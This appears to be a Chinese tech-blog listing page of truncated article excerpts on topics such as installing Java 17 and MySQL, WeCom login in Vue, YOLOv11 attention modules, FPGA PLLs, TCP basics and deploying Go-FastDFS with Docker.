文章目录 下载java17一、安装二、环境变量 下载java17 官网下载&#xff1a;https://www.oracle.com/java/technologies/downloads 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、安装 直接安装后&#xff0c;安装完后目录会存放在下面目录下 /…

mysql免安装版配置教程

一、将压缩包解压至你想要放置的文件夹中&#xff0c;注意&#xff1a;绝对路径中要避免出现中文 二、在解压目录下新建my.ini文件&#xff0c;已经有的就直接覆盖 my.ini文件内容 [mysqld] # 设置3306端口 port3306 # 设置mysql的安装目录 basedirD:\\tools\\mysql-8.1.0-win…

web:pc端企业微信登录-vue版

官方文档&#xff1a;developer.work.weixin.qq.com/document/pa… 不需要调用ww.register&#xff0c;直接调用ww.createWWLoginPanel即可创建企业微信登录面板 - 文档 - 企业微信开发者中心 (qq.com) 引入 //通过 npm 引入 npm install wecom/jssdk import * as ww from we…

基于Spring Boot的无可购物网站系统

一、系统背景与意义 随着互联网的快速发展&#xff0c;电子商务已经成为人们日常生活的重要组成部分。构建一个稳定、高效、可扩展的电商平台后端系统&#xff0c;对于满足用户需求、提升用户体验、推动业务发展具有重要意义。Spring Boot作为当前流行的Java开发框架&#xff…

YOLOv11改进,YOLOv11添加DLKA-Attention可变形大核注意力,WACV2024 ,二次创新C3k2结构

摘要 作者引入了一种称为可变形大核注意力 (D-LKA Attention) 的新方法来增强医学图像分割。这种方法使用大型卷积内核有效地捕获体积上下文,避免了过多的计算需求。D-LKA Attention 还受益于可变形卷积,以适应不同的数据模式。 理论介绍 大核卷积(Large Kernel Convolu…

fpga系列 HDL:Quartus II PLL (Phase-Locked Loop) IP核 (Quartus II 18.0)

在 Quartus II 中使用 PLL (Phase-Locked Loop) 模块来将输入时钟分频或倍频&#xff0c;并生成多个相位偏移或频率不同的时钟信号&#xff1a; 1. 生成 PLL 模块 在 Quartus II 中&#xff1a; 打开 IP Components。 file:///C:/intelFPGA_lite/18.0/quartus/common/help/w…

JAVA:代理模式(Proxy Pattern)的技术指南

1、简述 代理模式(Proxy Pattern)是一种结构型设计模式,用于为其他对象提供一种代理,以控制对这个对象的访问。通过代理模式,我们可以在不修改目标对象代码的情况下扩展功能,满足特定的需求。 设计模式样例:https://gitee.com/lhdxhl/design-pattern-example.git 2、什…

3D Gaussian Splatting for Real-Time Radiance Field Rendering-简洁版

1. 研究背景与问题 传统的3D场景表示方法&#xff0c;如网格和点云&#xff0c;适合GPU加速的光栅化操作&#xff0c;但缺乏灵活性。而基于神经辐射场&#xff08;NeRF&#xff09;的表示方式&#xff0c;尽管质量高&#xff0c;但需要高成本的训练和渲染时间。此外&#xff0…

Unity性能优化---使用SpriteAtlas创建图集进行批次优化

在日常游戏开发中&#xff0c;UI是不可缺少的模块&#xff0c;而在UI中又使用着大量的图片&#xff0c;特别是2D游戏还有很多精灵图片存在&#xff0c;如果不加以处理&#xff0c;会导致很高的Batches&#xff0c;影响性能。 比如如下的例子&#xff1a; Batches是9&#xff0…

计算机网络知识点全梳理(三.TCP知识点总结)

目录 TCP基本概念 为什么需要TCP 什么是TCP 什么是TCP链接 如何唯一确定一个 TCP 连接 TCP三次握手 握手流程 为什么是三次握手&#xff0c;而不是两次、四次 为什么客户端和服务端的初始序列号 ISN 不同 既然 IP 层会分片&#xff0c;为什么 TCP 层还需要 MSS TCP四…

找出1000以内的所有回文数

找出1000以内的所有回文数 方法概述检查回文数的方法伪代码C代码实现代码解析运行结果在计算机科学中,回文数是一种具有对称性质的数,即从左向右读和从右向左读都是相同的。例如,121、1331、12321都是回文数。本文将利用数据结构、C语言和算法的知识来编写一个程序,找出100…

Go-FastDFS文件服务器一镜到底使用Docker安装

本文章介绍一镜到底安装go-fastdfs并配置数据文件到linux 由于国内镜像无法安装go-fastdfs&#xff1a;国内环境已经把docker官方的网站给封闭了 我们需要从国外的一台服务器&#xff0c;下载images镜像&#xff0c;然后进行转发加载到国内服务器 当然我也给你们准备了docke…